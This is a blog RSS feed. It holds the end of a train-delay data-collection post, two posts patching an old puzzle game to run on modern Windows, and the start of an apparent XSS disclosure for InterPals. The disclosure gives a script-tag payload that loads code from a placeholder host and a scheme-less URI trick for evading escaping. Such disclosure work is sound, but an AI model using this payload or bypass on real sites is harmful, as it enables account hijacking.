&lt;td&gt;@Lon&lt;/td&gt;
&lt;td&gt;19.12723&lt;/td&gt;
&lt;td&gt;Current longitude of a given train&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;@Delay&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Current delay of a given train&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Weather dataset&lt;/h2&gt;
&lt;p&gt;In addition to the traffic data I also collected the corresponding weather data for every train, because I suspect that weather has an influence on the delays as well. It was not easy to find a free provider which is capable of handling the necessary amount of requests, but after many trials I decided to use &lt;a href=&quot;https://openweathermap.org/&quot;&gt;OpenWeatherMap&lt;/a&gt;. Its free tier gives access to 60 location-based weather requests per minute, which is still not enough for every individual train, but can be sufficient to place &lt;em&gt;virtual weather stations&lt;/em&gt; all over Hungary with a resolution of approximately 35.5 km.&lt;/p&gt;
&lt;p&gt;:::note
&lt;strong&gt;Virtual weather station.&lt;/strong&gt; A virtual weather station is a GPS position which can be queried for up-to-date local weather information.
:::&lt;/p&gt;
&lt;h4&gt;Positions of the virtual weather stations&lt;/h4&gt;
&lt;p&gt;The first task is to distribute the available 60 slots uniformly such that every train can be assigned to the closest virtual weather station. Finding an exact solution to the problem would have been infeasible, therefore I decided to develop an approximation algorithm for which I used the &lt;a href=&quot;http://download.geonames.org/export/dump/HU.zip&quot;&gt;GeoNames geographical database&lt;/a&gt; which contains POIs in Hungary and is available for download free of charge under the &lt;a href=&quot;https://creativecommons.org/licenses/by/4.0/&quot;&gt;Creative Commons Attribution 4.0&lt;/a&gt; license. The algorithm is based on a &lt;a href=&quot;https://en.wikipedia.org/wiki/K-d_tree&quot;&gt;k-d tree&lt;/a&gt; which allows fast nearest neighbor searches for POIs. It results in an approximately uniform placement of virtual weather stations, and they are located at densely populated areas where accurate weather information benefits more people.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./virtual_weather_stations.png&quot; alt=&quot;virtual_weather_stations&quot; title=&quot;Virtual weather stations in Hungary&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Extending the traffic snapshots with weather observations&lt;/h4&gt;
&lt;p&gt;Upon taking a traffic snapshot the closest virtual weather station is determined for each train and its most recent observation is assigned to the train which consists of the following:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field name&lt;/th&gt;
&lt;th&gt;Example value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Weather&lt;/td&gt;
&lt;td&gt;&quot;Clouds&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Temperature&lt;/td&gt;
&lt;td&gt;26.28 °C&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pressure&lt;/td&gt;
&lt;td&gt;1020 hPa&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloudiness&lt;/td&gt;
&lt;td&gt;98%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Humidity&lt;/td&gt;
&lt;td&gt;44%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wind&lt;/td&gt;
&lt;td&gt;1.5 m/s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Visibility&lt;/td&gt;
&lt;td&gt;10000 m&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rain&lt;/td&gt;
&lt;td&gt;0 mm&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Snow&lt;/td&gt;
&lt;td&gt;0 mm&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;News dataset&lt;/h2&gt;
&lt;p&gt;The official delay-related news are published on the &lt;a href=&quot;https://www.mavcsoport.hu/mavinform/rss.xml&quot;&gt;RSS feed&lt;/a&gt; of &lt;a href=&quot;https://www.mavcsoport.hu/&quot;&gt;MÁVINFORM&lt;/a&gt;, which can be processed using Natural Language Processing methods.&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;I am using the following system for the data collection which basically operates free of charge:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./data_collection_architecture.png&quot; alt=&quot;data_collection_architecture&quot; title=&quot;Architecture of the data collection system&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The scheduler at &lt;a href=&quot;https://cron-job.org/&quot;&gt;cron-job.org&lt;/a&gt; invokes a script on &lt;a href=&quot;https://www.heroku.com/&quot;&gt;Heroku&lt;/a&gt; every minute which prepares an extended snapshot based on the real-time map, the most recent weather observations and the &lt;a href=&quot;https://www.mavcsoport.hu/&quot;&gt;MÁVINFORM&lt;/a&gt; news. The snapshot is then uploaded to an S3-compatible storage in JSON format:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;metadata&quot;: {
    &quot;version&quot;: 3,
    &quot;date&quot;: &quot;2020-09-03T18:50:07.896Z&quot;
  },
  &quot;entries&quot;: [
    {
      &quot;train&quot;: {
        &quot;trainId&quot;: &quot;552741&quot;,
        &quot;elviraId&quot;: &quot;5649157_200903&quot;,
        &quot;operator&quot;: &quot;MAV&quot;,
        &quot;relation&quot;: &quot;Monor - Budapest-Nyugati&quot;,
        &quot;line&quot;: &quot;100&quot;,
        &quot;location&quot;: {
          &quot;type&quot;: &quot;Point&quot;,
          &quot;coordinates&quot;: [
            19.29098,
            47.3969
          ]
        },
        &quot;delay&quot;: 1
      },
      &quot;weather&quot;: {
        &quot;weatherType&quot;: 800,
        &quot;temperature&quot;: 17.05,
        &quot;pressure&quot;: 1022,
        &quot;humidity&quot;: 0.63,
        &quot;cloudiness&quot;: null,
        &quot;windSpeed&quot;: 3.6,
        &quot;visibility&quot;: 10000,
        &quot;rain&quot;: null,
        &quot;snow&quot;: null
      }
    },
    ...
  ],
  &quot;posts&quot;: {
    &quot;mavinform&quot;: [
      {
        &quot;postId&quot;: 75931,
        &quot;title&quot;: &quot;Késések az észak-balatoni vonalon&quot;,
        &quot;date&quot;: &quot;2020. szeptember 3. csütörtök, 17.32&quot;,
        &quot;content&quot;: &quot;Csütörtök délután a fővárosba tartó KÉK HULLÁM sebesvonat (19703-as vonat) Fövenyes megállóhelytől 60-70 perces késéssel közlekedik tovább, mert egy utas a mozgó vonatról leszállva balesetet szenvedett. A Tapolcára tartó KÉK HULLÁM sebesvonat (19786-os vonat) Aszófőn várakozásra kényszerült, várhatóan 40-50 perces késéssel indulhat tovább.&quot;,
        &quot;lastUpdate&quot;: &quot;2020-09-03T15:32:48.000Z&quot;
      },
      ...
    ]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As of June 2020, the dataset consists of 700,000 snapshots containing over 135 million train records. In the next article I am going to evaluate the dataset and provide possible answers for the delay problem.&lt;/p&gt;
</content:encoded></item><item><title>Add resolution handling to Logical Stones</title><link>https://fuwari.vercel.app/posts/add-resolution-handling-to-logical-stones/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/add-resolution-handling-to-logical-stones/</guid><description>A case study about the resurrection of an old freeware puzzle game by fixing its UI elements originally made for CRT monitors with 4:3 aspect ratio.</description><pubDate>Tue, 04 Sep 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { siteConfig } from &apos;../../../config&apos;&lt;/p&gt;
&lt;h2&gt;Problem&lt;/h2&gt;
&lt;p&gt;The heap corruption is &lt;a href=&quot;/posts/patch-logical-stones-to-run-in-windows-10/&quot;&gt;gone&lt;/a&gt;, but the game is still unusable because the UI was not designed using responsive technologies and it appears broken using today&apos;s common aspect ratios. Logical Stones lacks resolution handling - it goes full screen and uses the current resolution of your display, which just looks weird at the widespread 1920x1080 resolution:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./full-hd-1.png&quot; alt=&quot;fullhd-screenshot-1&quot; title=&quot;Broken main menu of Logical Stones&quot; /&gt;
&lt;img src=&quot;./full-hd-2.png&quot; alt=&quot;fullhd-screenshot-2&quot; title=&quot;Broken level selection screen of Logical Stones&quot; /&gt;
&lt;img src=&quot;./full-hd-3.png&quot; alt=&quot;fullhd-screenshot-3&quot; title=&quot;Broken Logical Stones level&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Investigation&lt;/h2&gt;
&lt;p&gt;First, I looked for the location in the code where the main game window is created:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
[...]
  WndClass.style = 32;
  WndClass.lpfnWndProc = sub_41599C;
  WndClass.cbClsExtra = 0;
  WndClass.cbWndExtra = 0;
  WndClass.hInstance = hInstance;
  WndClass.hIcon = LoadIconA(0, (LPCSTR)0x7F00);
  WndClass.hCursor = LoadCursorA(0, (LPCSTR)0x7F00);
  WndClass.hbrBackground = (HBRUSH)GetStockObject(4);
  WndClass.lpszMenuName = 0;
  WndClass.lpszClassName = &quot;LGStones&quot;;
  RegisterClassA(&amp;amp;WndClass);
  dword_44797C = GetSystemMetrics(0);
  dword_447980 = GetSystemMetrics(1);
  v4 = CreateWindowExA(
         0,
         &quot;LgStones&quot;,
         &quot;Logical Stones Game&quot;,
         0x90880000,
         0,
         0,
         dword_44797C,
         dword_447980,
         0,
         0,
         hInstance,
         0);
[...]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see &lt;code&gt;dword_44797C&lt;/code&gt; and &lt;code&gt;dword_447980&lt;/code&gt; are the global variables which contain the width and height of your current display obtained by calling &lt;code&gt;GetSystemMetrics&lt;/code&gt; with parameters &lt;code&gt;SM_CXSCREEN&lt;/code&gt; and &lt;code&gt;SM_CYSCREEN&lt;/code&gt; respectively.&lt;/p&gt;
&lt;p&gt;In order to fix the resolution of the game, we need to take care of the above-mentioned variables and constants.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;Instead of setting the values of &lt;code&gt;dword_44797C&lt;/code&gt; and &lt;code&gt;dword_447980&lt;/code&gt; based on the values reported by &lt;code&gt;GetSystemMetrics&lt;/code&gt; a custom value can be used by patching the game binary. I used &lt;a href=&quot;http://www.ollydbg.de/&quot;&gt;OllyDbg&lt;/a&gt; to apply the changes.&lt;/p&gt;
&lt;h3&gt;Binary patching&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[...]
PUSH 0
CALL &amp;lt;JMP.&amp;amp;USER32.GetSystemMetrics&amp;gt;
MOV DWORD PTR DS:[44797C],EAX
PUSH 1
CALL &amp;lt;JMP.&amp;amp;USER32.GetSystemMetrics&amp;gt;
MOV DWORD PTR DS:[447980],EAX
ADD ESP,-4
PUSH 0
PUSH EBX
PUSH 0
PUSH 0
PUSH EAX
PUSH DWORD PTR DS:[44797C]
PUSH 0
PUSH 0
PUSH 90880000
PUSH LgStones.00415843                   ; ASCII &quot;Logical Stones Game&quot;
PUSH LgStones.00415857                   ; ASCII &quot;LgStones&quot;
PUSH 0
CALL &amp;lt;JMP.&amp;amp;USER32.CreateWindowExA&amp;gt;
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;CreateWindowExA&lt;/code&gt; function expects the width of the window to be located at &lt;code&gt;0x0044797C&lt;/code&gt; and the height of the window to be in the &lt;code&gt;EAX&lt;/code&gt; register.&lt;/p&gt;
&lt;p&gt;The task is to initialize &lt;code&gt;dword_44797C&lt;/code&gt;, &lt;code&gt;dword_447980&lt;/code&gt; and &lt;code&gt;EAX&lt;/code&gt; with hard coded constant values which can be easily modified later. The default resolution is going to be 1024x768 which used to be a very common resolution with 4:3 aspect ratio back then.&lt;/p&gt;
&lt;p&gt;The hexadecimal value of 1024 is moved to &lt;code&gt;EAX&lt;/code&gt; then copied to &lt;code&gt;dword_44797C&lt;/code&gt;. The same applies to the height - the hexadecimal value of 768 is moved to &lt;code&gt;EAX&lt;/code&gt; then copied to &lt;code&gt;dword_447980&lt;/code&gt;. Now the global variables are initialized and &lt;code&gt;EAX&lt;/code&gt; contains the height of the window as it is expected by &lt;code&gt;CreateWindowExA&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MOV EAX,400
MOV DWORD PTR DS:[44797C],EAX
MOV EAX,300
MOV DWORD PTR DS:[447980],EAX
NOP
NOP
NOP
NOP
ADD ESP,-4
PUSH 0
PUSH EBX
PUSH 0
PUSH 0
PUSH EAX
PUSH DWORD PTR DS:[44797C]
PUSH 0
PUSH 0
PUSH 90880000
PUSH LgStones.00415843                   ; ASCII &quot;Logical Stones Game&quot;
PUSH LgStones.00415857                   ; ASCII &quot;LgStones&quot;
PUSH 0
CALL &amp;lt;JMP.&amp;amp;USER32.CreateWindowExA&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Configurable resolution&lt;/h2&gt;
&lt;p&gt;I have created a small utility which can directly overwrite our hard-coded 1024x768 resolution. When you start the tool you will be asked about the desired width of the game window. The height is automatically calculated to match the 4:3 aspect ratio required by the UI.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./resolution-changer.png&quot; alt=&quot;resolution_changer_screenshot&quot; title=&quot;Resolution changer tool in action&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;fstream&amp;gt;
#include &amp;lt;string&amp;gt;

static const size_t WINDOW_WIDTH_OFFSET = 0x00014CC7;
static const size_t WINDOW_HEIGHT_OFFSET = 0x00014CD1;

template &amp;lt;typename T&amp;gt;
void patch(std::ofstream&amp;amp; executable, size_t offset, const T&amp;amp; value)
{
    executable.seekp(offset, std::ofstream::beg);
    executable.write(reinterpret_cast&amp;lt;const char*&amp;gt;(&amp;amp;value), sizeof(T));
    executable.flush();
}

int main() {
    std::ofstream executable(&quot;LgStones.exe&quot;, std::ofstream::in | std::ofstream::out | std::ofstream::binary);

    if (executable) {
        std::cout &amp;lt;&amp;lt; &quot;Width of the game window: &quot;;

        std::string width_str;
        std::getline(std::cin, width_str);

        uint32_t width = std::stoi(width_str);
        uint32_t height = uint32_t(width / 4.0f * 3.0f);

        std::cout &amp;lt;&amp;lt; &quot;Height of the game window: &quot; &amp;lt;&amp;lt; height &amp;lt;&amp;lt; std::endl;

        patch&amp;lt;uint32_t&amp;gt;(executable, WINDOW_WIDTH_OFFSET, width);
        patch&amp;lt;uint32_t&amp;gt;(executable, WINDOW_HEIGHT_OFFSET, height);

        std::cout &amp;lt;&amp;lt; &quot;Done!&quot; &amp;lt;&amp;lt; std::endl;
    }
    else {
        std::cerr &amp;lt;&amp;lt; &quot;Couldn&apos;t find LgStones.exe!&quot; &amp;lt;&amp;lt; std::endl;
    }

    system(&quot;pause&quot;);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Downloads&lt;/h2&gt;
&lt;p&gt;You may download and play the game, including all the fixes for free.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href={ new URL(&quot;lgstones/LgStones.zip&quot;, siteConfig.staticUrl) }&amp;gt;LgStones.zip&amp;lt;/a&amp;gt;
&lt;ul&gt;
&lt;li&gt;SHA-256 ef3f082abaa20069cfd12e9869609a31333272a055b2c65a70942f8f3586b6b7&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The source code for &lt;code&gt;LgStonesAllocator&lt;/code&gt; and &lt;code&gt;LgStonesResolutionChanger&lt;/code&gt; are also available.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&amp;lt;a href={ new URL(&quot;lgstones/LgStonesAllocator.zip&quot;, siteConfig.staticUrl) }&amp;gt;LgStonesAllocator.zip&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SHA-256 211990aaa721d6f037c436e757f4e1d029bd5f3e871a3ac583c11d01134b0933&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&amp;lt;a href={ new URL(&quot;lgstones/LgStonesResolutionChanger.zip&quot;, siteConfig.staticUrl) }&amp;gt;LgStonesResolutionChanger.zip&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SHA-256 cc3896d51fc85902128a73357188cbf9b416ccb494c924a740a53b05273c5726&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Patch Logical Stones to run in Windows 10</title><link>https://fuwari.vercel.app/posts/patch-logical-stones-to-run-in-windows-10/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/patch-logical-stones-to-run-in-windows-10/</guid><description>A case study about the resurrection of an old freeware puzzle game by fixing a heap corruption upon startup using a custom memory allocator.</description><pubDate>Wed, 29 Aug 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { siteConfig } from &apos;../../../config&apos;&lt;/p&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Logical Stones is a freeware puzzle game made by &lt;a href=&quot;http://tibor.neszt.hu/&quot;&gt;Tibor Neszt&lt;/a&gt; and &lt;a href=&quot;http://face5.hu/index_eng.html&quot;&gt;his team&lt;/a&gt; back in 2006. The game is similar to Sokoban in many ways, but with a twist, it utilizes gravity and some additional &lt;a href=&quot;http://www.face5.hu/lgstones/LgStones_eng.readme.html&quot;&gt;rules&lt;/a&gt;. The goal of the game is to push all the stones to the exit points as fast as you can.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./screenshot-1.png&quot; alt=&quot;ingame-screenshots-1&quot; title=&quot;Main menu of Logical Stones&quot; /&gt;
&lt;img src=&quot;./screenshot-2.png&quot; alt=&quot;ingame-screenshots-2&quot; title=&quot;An example Logical Stones level&quot; /&gt;
&lt;img src=&quot;./screenshot-3.png&quot; alt=&quot;ingame-screenshots-3&quot; title=&quot;Another example Logical Stones level&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Problem&lt;/h3&gt;
&lt;p&gt;Logical Stones used to work just fine in Windows 98 and Windows XP. However, it crashes upon startup in newer versions of Windows even if compatibility mode is being used. A virtual machine could have been used to workaround this issue, but I wanted to fix the root cause.&lt;/p&gt;
&lt;h2&gt;Investigation&lt;/h2&gt;
&lt;h3&gt;LgStones.exe&lt;/h3&gt;
&lt;p&gt;First, I started to gather some information about the main game executable by using &lt;a href=&quot;https://www.aldeid.com/wiki/PEiD&quot;&gt;PEiD&lt;/a&gt;, which is a tool capable of detecting most common packers and compilers used in executable files.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./upx-exe-compression.png&quot; alt=&quot;peid-screenshot&quot; title=&quot;Details of Logical Stones in PEiD&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems to be that the executable is compressed using the open source &lt;a href=&quot;https://github.com/upx/upx&quot;&gt;Ultimate Packer for Executables (UPX)&lt;/a&gt; tool which makes debugging nearly impossible. Fortunately, the tool is capable of unpacking executables as well.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS X:\Logical_Stones&amp;gt; upx -d LgStones.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2018
UPX 3.95w       Markus Oberhumer, Laszlo Molnar &amp;amp; John Reiser   Aug 26th 2018

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    315904 &amp;lt;-    147968   46.84%    win32/pe     LgStones.exe

Unpacked 1 file.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Debugging&lt;/h3&gt;
&lt;p&gt;I started debugging the unpacked LgStones.exe with &lt;a href=&quot;https://www.hex-rays.com/products/ida/debugger/index.shtml&quot;&gt;IDA Debugger&lt;/a&gt;. The execution immediately stopped with a common symptom of a heap corruption:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./call-stack.png&quot; alt=&quot;callstack-screenshot&quot; title=&quot;Call stack of the heap corruption&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The exception happened at the end of the function located at &lt;code&gt;0x407714&lt;/code&gt; while the variable &lt;code&gt;v7&lt;/code&gt; was being deallocated. Can you spot the mistake in the following pseudocode?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
[...]
  v7 = (char *)malloc(v6);
  sub_403AC0(v4, v7);
  for ( i = 0; i &amp;lt; a3; ++i )
  {
    sscanf(v7, &quot;%d&quot;, &amp;amp;v11);
    for ( ; *v7 != 32; ++v7 )
      ;
    ++v7;
    if ( v11 &amp;gt; 0 )
    {
      glGenTextures(1, &amp;amp;v10);
      v9 = v10;
      *(_DWORD *)(a2 + 4 * i) = v10;
      if ( sub_401AB8(&amp;amp;v12, v7, v9, 0, 0) != 1 )
      {
        free(v7);
        return 0;
      }
      v7 += v11;
    }
  }
  free(v4);
  free(v7);
  return 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
The behavior is undefined if the value of ptr does not equal a value returned earlier by malloc(), calloc() or realloc().&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://en.cppreference.com/w/c/memory/free&quot;&gt;cppreference.com&lt;/a&gt;
:::&lt;/p&gt;
&lt;h4&gt;Explanation&lt;/h4&gt;
&lt;p&gt;As you can see the variable &lt;code&gt;v7&lt;/code&gt; is being modified in the body of the loop which causes undefined behavior if it is not pointing to the beginning of the allocated memory block by the time the execution reaches the corresponding &lt;code&gt;free&lt;/code&gt; statement.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;The trivial solution would have been to replace the &lt;code&gt;free&lt;/code&gt; call with NOP instructions and just forget about the memory leak, but there was a reason I avoided using virtual machines in the first place.&lt;/p&gt;
&lt;h3&gt;Custom memory allocator&lt;/h3&gt;
&lt;p&gt;What if we could create a custom implementation of &lt;code&gt;malloc&lt;/code&gt; and &lt;code&gt;free&lt;/code&gt; which is aware of this kind of misuse?&lt;/p&gt;
&lt;h4&gt;LgStonesAllocator.dll to the rescue&lt;/h4&gt;
&lt;p&gt;Let us create an extension which can be loaded upon startup. The purpose of this dynamic library is to create proxy functions for &lt;code&gt;malloc&lt;/code&gt; and &lt;code&gt;free&lt;/code&gt; which can handle the mistake of the developers. The library should also redirect the original calls to &lt;code&gt;malloc&lt;/code&gt; and &lt;code&gt;free&lt;/code&gt; automatically.&lt;/p&gt;
&lt;p&gt;:::warning
The following code snippet exploits the circumstances of this very specific scenario mentioned above and is by no means a generic solution.
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void* block = nullptr;

void* on_misused_malloc(size_t size) {
    return block = malloc(size);
}

void on_misused_free(void* /*faulty_block*/) {
    free(block);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since the game only allocates and deallocates the variable &lt;code&gt;v7&lt;/code&gt; once, the easiest solution is to store a pointer to the beginning of the allocated memory block and call &lt;code&gt;free&lt;/code&gt; on this pointer instead of the one provided by the game thus preventing the undefined behavior.&lt;/p&gt;
&lt;p&gt;The only remaining task is to redirect the original calls to the proxy functions by overwriting the memory address of the CALL instructions in question.&lt;/p&gt;
&lt;p&gt;The following instructions need to be changed - their operands should point to the proxy functions defined in our DLL.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; Address    Code             Instruction
 --------   -----------      -------------------------
 0040778F   E8 3C3C0100      CALL &amp;lt;JMP.&amp;amp;msvcrt.malloc&amp;gt;  // v7 = (char *)malloc(v6);
 00407769   E8 523C0100      CALL &amp;lt;JMP.&amp;amp;msvcrt.free&amp;gt;    // free(v7);
 0040782B   E8 903B0100      CALL &amp;lt;JMP.&amp;amp;msvcrt.free&amp;gt;    // free(v7);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inside the DLL&apos;s entry point the above-mentioned instructions are dynamically modified:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void redirect_call_instruction(intptr_t instruction_address, intptr_t proxy_address) {
    LPVOID operand_address = reinterpret_cast&amp;lt;LPVOID&amp;gt;(instruction_address + sizeof(uint8_t));

    DWORD old_protect;
    VirtualProtect(operand_address, sizeof(intptr_t), PAGE_EXECUTE_READWRITE, &amp;amp;old_protect);

    intptr_t relative_offset = proxy_address - instruction_address - 5;
    memcpy(operand_address, &amp;amp;relative_offset, sizeof(LPVOID));

    VirtualProtect(operand_address, sizeof(intptr_t), old_protect, nullptr);

    FlushInstructionCache(GetCurrentProcess(), operand_address, sizeof(intptr_t));
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        redirect_call_instruction(0x0040778F, reinterpret_cast&amp;lt;intptr_t&amp;gt;(on_misused_malloc));
        redirect_call_instruction(0x00407769, reinterpret_cast&amp;lt;intptr_t&amp;gt;(on_misused_free));
        redirect_call_instruction(0x0040782B, reinterpret_cast&amp;lt;intptr_t&amp;gt;(on_misused_free));
    }

    return TRUE;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The relative addresses of the faulty &lt;code&gt;malloc&lt;/code&gt; and &lt;code&gt;free&lt;/code&gt; calls are overridden by the relative addresses of our proxy functions. Explaining the whole concept is beyond the scope of this article, but if you would like to learn more about x86 hooking in general, I would recommend the following article: &lt;a href=&quot;http://jbremer.org/x86-api-hooking-demystified/&quot;&gt;http://jbremer.org/x86-api-hooking-demystified/&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Link LgStonesAllocator.dll to LgStones.exe&lt;/h3&gt;
&lt;p&gt;The final step is to associate our DLL somehow with the main game executable. Since the faulty &lt;code&gt;free&lt;/code&gt; is called right after launching the game, traditional run-time DLL injection methods would not be sufficient. By using &lt;a href=&quot;https://github.com/petoolse/petools&quot;&gt;petools&lt;/a&gt; I added the LgStonesAllocator.dll to LgStones.exe&apos;s import table which loads the library automatically when it is executed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./petools.png&quot; alt=&quot;petools-screenshot&quot; title=&quot;Usage of the petools tool&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Results&lt;/h2&gt;
&lt;p&gt;The game successfully starts without a crash, but there seems to be another problem - its user interface supports only the 4:3 aspect ratio and is completely unusable at today&apos;s common resolutions. The window of the game becomes full screen by default and it enforces the current resolution of your display.&lt;/p&gt;
&lt;p&gt;In the &lt;a href=&quot;/posts/add-resolution-handling-to-logical-stones/&quot;&gt;next&lt;/a&gt; article, I am expanding the game with configurable resolution handling.&lt;/p&gt;
&lt;h2&gt;Downloads&lt;/h2&gt;
&lt;p&gt;You may download and play the game, including all the fixes for free.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href={ new URL(&quot;lgstones/LgStones.zip&quot;, siteConfig.staticUrl) }&amp;gt;LgStones.zip&amp;lt;/a&amp;gt;
&lt;ul&gt;
&lt;li&gt;SHA-256 ef3f082abaa20069cfd12e9869609a31333272a055b2c65a70942f8f3586b6b7&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The source code for &lt;code&gt;LgStonesAllocator&lt;/code&gt; is also available.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href={ new URL(&quot;lgstones/LgStonesAllocator.zip&quot;, siteConfig.staticUrl) }&amp;gt;LgStonesAllocator.zip&amp;lt;/a&amp;gt;
&lt;ul&gt;
&lt;li&gt;SHA-256 211990aaa721d6f037c436e757f4e1d029bd5f3e871a3ac583c11d01134b0933&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Impersonate others on InterPals</title><link>https://fuwari.vercel.app/posts/impersonate-others-on-interpals/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/impersonate-others-on-interpals/</guid><description>Explanation of an XSS attack which allowed an attacker to have full control over any InterPals account.</description><pubDate>Mon, 01 Feb 2016 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;InterPals is the top site to meet people and make new friends, penpals, language partners, travel buddies!&lt;/p&gt;
&lt;p&gt;--- &lt;a href=&quot;http://interpals.net&quot;&gt;InterPals.net&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Besides the traditional messaging functionality, InterPals also has a feature called &quot;Notes&quot;, which allows users to create notes for themselves or fellow InterPals members. Both the messaging and notes feature share common components, but in the case of notes, there were no proper HTML sanitization upon listing and viewing.&lt;/p&gt;
&lt;h2&gt;Attack surface&lt;/h2&gt;
&lt;p&gt;Even though there were no proper HTML sanitization for notes, there was a basic escaping mechanism in place. When characters like &lt;code&gt;:&lt;/code&gt; or &lt;code&gt;;&lt;/code&gt; were present in a note, they automatically triggered the escape, which sanitized the entire body of the note.&lt;/p&gt;
&lt;h2&gt;Proof of concept&lt;/h2&gt;
&lt;p&gt;Let&apos;s try to send a message on behalf of our victim. Since we are unable to write meaningful JavaScript without these special characters, we need to inject the script from external sources. Let&apos;s create a note with the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;http://path.to/your/malicious_script.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unfortunately, it triggered the escape mechanism due to the &lt;code&gt;:&lt;/code&gt; character present in the schema. However, by using scheme-less relative &lt;a href=&quot;https://en.wikipedia.org/wiki/Uniform_Resource_Identifier&quot;&gt;URI&lt;/a&gt;s, we can completely bypass the mechanism.&lt;/p&gt;
